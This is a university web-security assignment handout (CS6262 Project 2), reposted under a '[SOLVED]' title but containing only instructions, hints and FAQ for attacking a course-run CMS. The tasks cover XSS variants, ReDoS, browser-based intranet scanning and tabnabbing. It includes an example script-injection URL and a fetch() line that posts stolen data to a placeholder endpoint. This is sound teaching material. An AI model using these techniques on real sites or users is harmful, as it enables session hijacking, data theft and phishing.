[SOLVED] Cs6262 project 2: advanced web security 2025 solution

You can find the due date and how to turn in your solution located on the Canvas assignment page and Ed discussion.

You’ve been invited to the CS6262 security club; welcome! The security club has a new official website we use for sharing information and resources. Unfortunately, the last administrator was too busy and didn’t perform any security audits on the website. Oh no!

The club’s security team wants you, the club’s newest member, to deliver a full security audit of our new official website. You’ve been tasked to provide a pen-testing report to the club’s security team. You’ve received this message to start you off:

“Hi there! The club’s website can be found at https://cs6262.gtisc.gatech.edu. We’ve integrated the GT Single-Sign-On service, so please sign in with your GT account and it will create a user for you.

The website is not complicated. It is a simple Content Management System (CMS) with several features enabled, e.g., text search, dark mode, rich text editor, etc.

Good luck auditing! The CS6262 Security Team”

 

Let’s first orient ourselves on the website. The project website is located at cs6262.gtisc.gatech.edu – type this into your browser. We recommend using the latest version of Google Chrome.

 

 

 

 

 

 

 

 

 

To trigger an XSS attack on the admin side, fill in the URL of your post and submit to the admin role. It will create or override the current running browser instance, which means when it’s messed up, you can submit a URL to override the current one.

 

To trigger an XSS attack on other users’ sides, fill in the URL of your malicious payload. The user instances also override the current one when you submit new URLs.

 

The admin instance will be used for task 4 and task 5.2. The user instance will be used for task 5.3.

 

 

iii.      Check “Restart the ReDoS instance” to launch the ReDoS server again when you feel like the server is not responding to your submission.

 

Here are the two approaches.

 

 

Note: Fill up the questionnaire and submit required files onto GradeScope.

 

 

Modern browsers will provide DevTools for front-end developers to debug and tune the performance when developing a website. Attackers can also use these tools to explore and collect information. Open your Chrome and press F12 to open the developer console. DevTools will popup. Here you can run JavaScript in the console, view the source html of the webpage, capture the network traffic, and other functionalities. Try to explore it by yourself.

 

 

 

1.2 console.log() console.log() is commonly used to print information into the console of the developer tools for debugging purposes. Open the devTool and type console.log(“yourGTID”); You can see your GTID is printed in the console.

 

1.3 setInterval setInterval is used to fire a function given a frequency. It will return an intervalID which can be passed to clearInterval to cancel the interval.

 

Question: Given a variable var counter = 5, make use of setInterval and clearInterval to reduce the

counter to 0 in every second and then stop. You can run your code in devTools to verify. var counter = 5;

// Your code below

 

1.4 setTimeout setTimeout will fire a function after the delay milliseconds. The function will only be fired once. Similarly you can use the returned timeoutID and clearTimeout to cancel the timeout.

 

Question: Given a variable var counter = 5, make use of setTimeout to reduce the counter to 0 in every second and then stop. You can run your code in devTools to verify.

var counter = 5;

// Your code below

                                 

1.5 Promise

A Promise is an object used for async operations in JavaScript. There are three states in a Promise object: Pending, Fulfilled, and Rejected. Once created, the state of the Promise object is pending. So the calling function will not be blocked and continue executing. The Promise object will eventually be fulfilled or rejected. Then the respective resolve or reject function will be called. Below is an example of a Promise. Before running the code, can you tell what the output would be? Can you explain why?

 

 

 

Which of the following options can adjust iframe’s width and height correctly?

 

 

 

 

 

FAQ

Please make sure that you have correctly set your username in the questionnaire.

 

 

Find where to exploit a reflected XSS and fill in the questionnaire URL by visiting which an alert should trigger.

 

Reflective XSS is an attack where a website does not return requested data in a safe manner.

Reflective is generally an XSS attack where the attacker sends the victim a link to a reputable website. BUT, this link contains malicious javascript code. For example, https://www.facebook.com/login?username=username&password=password<script>steal-yourinformation.js</script>

If the website returns the data in an unsafe manner (does not sanitize the output) and the victim clicks on this link, then the malicious code will be executed in the context of the victim’s session.

 

The content of the alert doesn’t matter. For example, https://cs6262.gtisc.gatech.edu/endpoint…yourpayload is what you need to fill in the questionnaire.

 

The autograder will visit your URL. If it detects an alert, then you will receive full credit.

 

 

 

 

 

 

 

After finding the exploitable place from task 2, you understand you can infect others by sending them links. But sending links is costly and people may not click on them every time.

 

Therefore, instead of sending a link required in task 2, you find you can actually modify the payload and let the payload live in this web app forever. As long as a user clicks on the link you send once, she is infected persistently unless the payload is cleared.

 

After learning some types of XSS, you may think how I can make my attack as persistent as possible on the client’s side if the website doesn’t have a Stored-XSS vulnerability exposed to regular users.

 

As Web technology evolves, more and more applications start to focus on user experience. More and more web applications, including cross platform Electron applications, are taking over desktop applications. Some user’s non-sensitive data is now stored on the client-side, especially the look and feel preferences of an application, to let the App load faster by remembering the user’s preferences without passing back small data chunks.

 

(You can learn more how prevalent this unsafe design is nowadays by reading the paper Don’t Trust The Locals: Investigating the Prevalence of Persistent Client-Side Cross-Site Scripting in the Wild)

 

Then, the variable is read by an unsafe sink, e.g. eval, element.innerHTML(data). Inspect what is stored locally for the web application, cs6262.gtisc.gatech.edu, and how it is used.

 

Tools you may need:

 

Now, modify the payload in the link from task 2 and fill the updated URL in the questionnaire.

 

The autograder will first visit your URL (NO alert should pop up at this point). Then, it would close the page and reopen to trigger your payload to run (One alert should pop up). Next, it refreshes the page without retriggering your payload (Another alert should pop up). Again, it should detect the alert twice. It should not pop up an alert by only visiting your URL. (Namely, the alert should be triggered when the victim visits any page on this website after reopening.)

 

 

 

Deliverables

 

 

 

 

The website, https://cs6262.gtisc.gatech.edu, allows users to create articles. As a user, one needs to submit the post to a moderator who is the admin of the website for approval. This might be an interesting point to investigate whether you can inject something so when the admin is reviewing your post, thereby you can hijack the admin’s login session. This website uses a rich text editor which not only enables styled content but sanitizes the user’s input while preserving its style.

 

In this task, you will submit a post with an injected payload that launches XSS attached to an admin user. Then, you need to steal some information that is only visible to an admin.

 

Stored XSS is an attack where a website does not store data in a safe manner. An attacker could then store malicious code within the website’s database. Said code could be executed whenever a user visits that website. So, a post for an admin’s approval seems like something you will be interested in. If you can steal the admin’s login session cookie, you can login as her to see what she can see.

 

Recall from the lecture that when a cookie has httpOnly, it is not exposed to the document object. This cookie cannot be accessed by JavaScript. What would you need to do to read information out as the cookie’s owner?

 

This httpOnly flag is a good way to prevent JavaScript from reading sensitive cookies. However, it doesn’t mean it can mitigate XSS attacks. Attackers, having malicious scripts running in the victim’s browser, are still able to send requests and forward the responses to themselves.

 

Even though the website is protected by CSRF tokens, attackers can still manage to post malicious payload pretending to be the user.

 

 

“fetch(‘https://your_endpoint_address/’, {method: ‘post’, body: ‘hi’})” will help you verify the correctness. Then, you should be able to see this after opening your endpoint in a new tab. In this way, you should be able to read data out of the website and send it to your HTTP endpoint.

 

 

 

 

 

If you are not familiar with the basics of HTTP and JavaScript, learning how to use fetch in an async chain can be helpful. You may read the examples in this documentation:

https://developer.mozilla.org/en-US/docs/Web/API/fetch

 

 

 

Also, before posting your write-up, please switch back to the “normal” mode to ensure it works.

 

 

Logging in as an admin is difficult since the website is well-configured to prevent it from happening, even if you have the cookie. An easier way is to “see” the admin’s console page (via your exploit script) and locate the “Information Theft” input box. Looking into the HTML of the page, you will know how you can instruct the admin (again, using your exploit script) to help you to get the hash.

 

The autograder checks your script. Please make sure you have submitted it correctly. Also, please make sure your submission strictly follows the format guideline.

 

A possible reason is that some residual malicious code/scripts are still left on the website, e.g., your local storage or endpoint/inbox. Please clean all the cache and local storage of the website and clean your endpoint/inbox. You can clean your endpoint/inbox by posting tons of messages to your inbox or redoing your Q1.5 in Task 1.

 

 

 

You just have learned how to exploit XSS in various ways. In this task, you will learn what XSS is capable of.

 

You’ve learned from the DoS lecture that GitHub was attacked in March 2015. Those flooding requests came from browsers! Application layer DoS attacks are difficult to stop because a request sent by a bot is the same as a request from a legitimate user. Common mitigation against request flooding is applying challenges like reCaptcha. What if we can still exhaust the server’s resources without flooding requests? A throttle to frequent requests won’t be able to stop it!

 

Regular Expression Denial of Service (ReDoS) is one type of application layer, DoS. Due to the nature of single-threaded JavaScript and its event-loop architecture, if an event takes a long time to execute, the JavaScript thread will not be able to process other normal events. Imagine what if it takes 5 seconds to check a single regular expression. It impacts other users’ experiences severely since the web server is so busy processing the single regular expressions which result in a denial of service to other users.

 

Here are some references: https://www.cloudflare.com/learning/ddos/application-layer-ddos-attack/ https://en.wikipedia.org/wiki/ReDoS

https://sec.okta.com/articles/2020/04/attacking-evil-regex-understanding-regular-expression-denialservice

Freezing the Web: A Study of ReDoS Vulnerabilities in JavaScript-based Web Servers

 

Read the references above to understand what ReDoS is and its impact. In this task, you will try one kind of ReDoS attack.

 

You will find the ReDoS section on the console page. Try to compose a username and password combination to launch a ReDoS attack against the ReDoS server. When an attack is successful, a hash value will be available for you to submit.

 

The username can be a regular expression.

Read the materials above, and you will find the solution.

 

 

 

Network work scanning has been well studied. You have practiced Nmap in Project 1. In order to scan the intranet using Nmap, you need access to a host in the intranet, which is quite difficult in general. However, by leveraging a user’s browser running on a host inside the intranet, you are still able to scan the intranet by injecting malicious scripts. There are some interesting materials related to intranet scanning using a browser. These vulnerabilities were mitigated since they were disclosed. However, given the common incorrect “Access-Control-Allow-Origin” setup in an intranet network, you may be lucky to sniff something from your target’s local network.

 

As we learned from the lectures, a DNS rebinding attack allows an attacker to bypass SOP,  thereby the attacker can read content from intranet web servers. But before launching a DNS rebinding attack, one must know what web servers are available in that organization. A local webserver scanning can help the attacker determine the targets.

 

Now, assume you, as the attacker, have already learned the local IP address range below. And your goal is to determine what IP addresses are serving web content. (Recall the port number or protocol name for serving web content.) A web server will respond “hello” in plain text.

 

The local host IP range is from 172.16.238.4 to 172.16.238.255, which is what you need to scan. These hosts are not accessible from outside as it’s only accessible to the victims – a user or an admin.

 

 

Deliverables

 

You will get 15% for all correct IP addresses and 0% for all incorrect.

 

 

Here are some references to cross-origin vulnerabilities: https://portswigger.net/web-security/cors/access-control-allow-origin

https://www.pivotpointsecurity.com/blog/cross-origin-resource-sharing-security/

 

These two articles below are related to using WebRTC to scan from a browser because of the mechanism of establishing a peer to peer connection if you are interested. These are past-tense anyways, but you are welcome to think of any new ideas related to this. A Browser Scanner: Collecting Intranet Information https://medium.com/tenable-techblog/using-webrtc-ice-servers-for-port-scanning-in-chromece17b19dd474

 

Reviewing your answer to Q2.3 in Task 1 may help.

 

Please make sure that it’s the admin who runs your script. This IP is only accessible by the admin. Also, please specify the correct protocol name or port number. (The server serves web content, as mentioned in our write-up.)

 

In this task, you are determined to steal other users’ credentials. As per an online survey, you learn people open 10~20 tabs on average to surf the Internet. Therefore, you think tabnabbing,  one of the phishing attacks that lure users into giving up their credentials, could be a good social engineering attack vector.

 

Here are some references about what tabnabbing is. https://owasp.org/www-community/attacks/Reverse_Tabnabbing

https://en.wikipedia.org/wiki/Tabnabbing

https://medium.com/@shatabda/security-tabnabbing-what-how-b038a70d300e

 

Given restrictions https://cs6262.gtisc.gatech.edu has and you being able to exploit the XSS vulnerabilities only, you have to implement a variant of tabnabbing following the requirements below.

 

 

After the simulated user submits her credentials, you will receive a hash string in your Message Receiver Endpoint.

If they are changed, the user may not find the tab and see your phishing page.

And, the URL in the address bar should NOT change for the opener tab. Vigilant users may also look at the address bar to determine whether the URL is correct. So, it’s better to keep the original URL to get the user’s trust.

 

 

 

 

 

 

If your attack changes the webpage after the victim switches back to the attacked tab, the user bot may not be able to fill in the form. Please make sure that the webpage content is changed right after 60 seconds (the victim switched to another tab) and before the victim switches back.

 

When a tab does not have focus, setInterval running inside has a lower resolution. This issue may worsen on user bots when our server runs under pressure. Please be aware of it when you write your script.

 

If the login user to your tabnab page is not the user bot, it will send a wrong hash to your endpoint. Please ensure that it was the user bot who logged in to the tabnab page but not any other users, e.g., you being the victim of your script.

 

Other tips: Do not use window.open for opening a new window (when the victim clicks a link).

 

All submissions will go to GradeScope where an autograder will help you understand the correctness of your solution.

The autograder will deduct points for files that are not uploaded. You can upload an empty file if you haven’t gone that far yet, or just ignore the points deducted. Make sure you upload all the files when you are done.

 

 

Please do not expect TAs to debug your code or provide a walkthrough for the tasks, as you are expected to master the low-level details when you complete this course. Due to our limited bandwidth, we also do not entertain questions answered in our FAQ unless you explain why the FAQ cannot resolve your issues. If you suspect there are issues with our web server or the autograder, please provide details so that we can resolve the issues more efficiently.

 

 

You can clean your endpoint/inbox by posting tons of messages to your inbox or redoing your Q1.5 in Task 1.

 

Please make sure that you have correctly set your username in the questionnaire.

 

We strongly advise that you DO NOT rely on any AI chat bots or similar AI platforms to generate a solution. Not only does the AI bot forfeit your chance to learn something, but such solutions do not correctly cite sources and are often too like those of other students who also utilize AI bots. Regardless of your intention, we treat them all as plagiarism if we detect very similar solutions.

 

We have kept improving this project for many years. And so many students successfully finished this project. Most unhappy cases are due to typo mistakes, syntax errors in the submitted solution, or misunderstanding of the attack concept. Unlike typical computer system courses, the environment for this project will be out of your control, and you will drive off-road. So, you cannot assume the victim’s environment is the same as yours. If something does not work as expected, we advise you to inspect your code line-by-line (e.g., putting a log message line-by-line) and review the given materials (e.g., tips, videos, other students’ posts, etc.).

 

We don’t debug your code. Learning the attacker’s mind is one of the goals of the project. Although you don’t have server access for debugging, you can inject a script into the project server. Using log messages in the injected script, you can figure out the server’s status (e.g., where it gets stuck) by transferring the log messages from the server to your endpoint.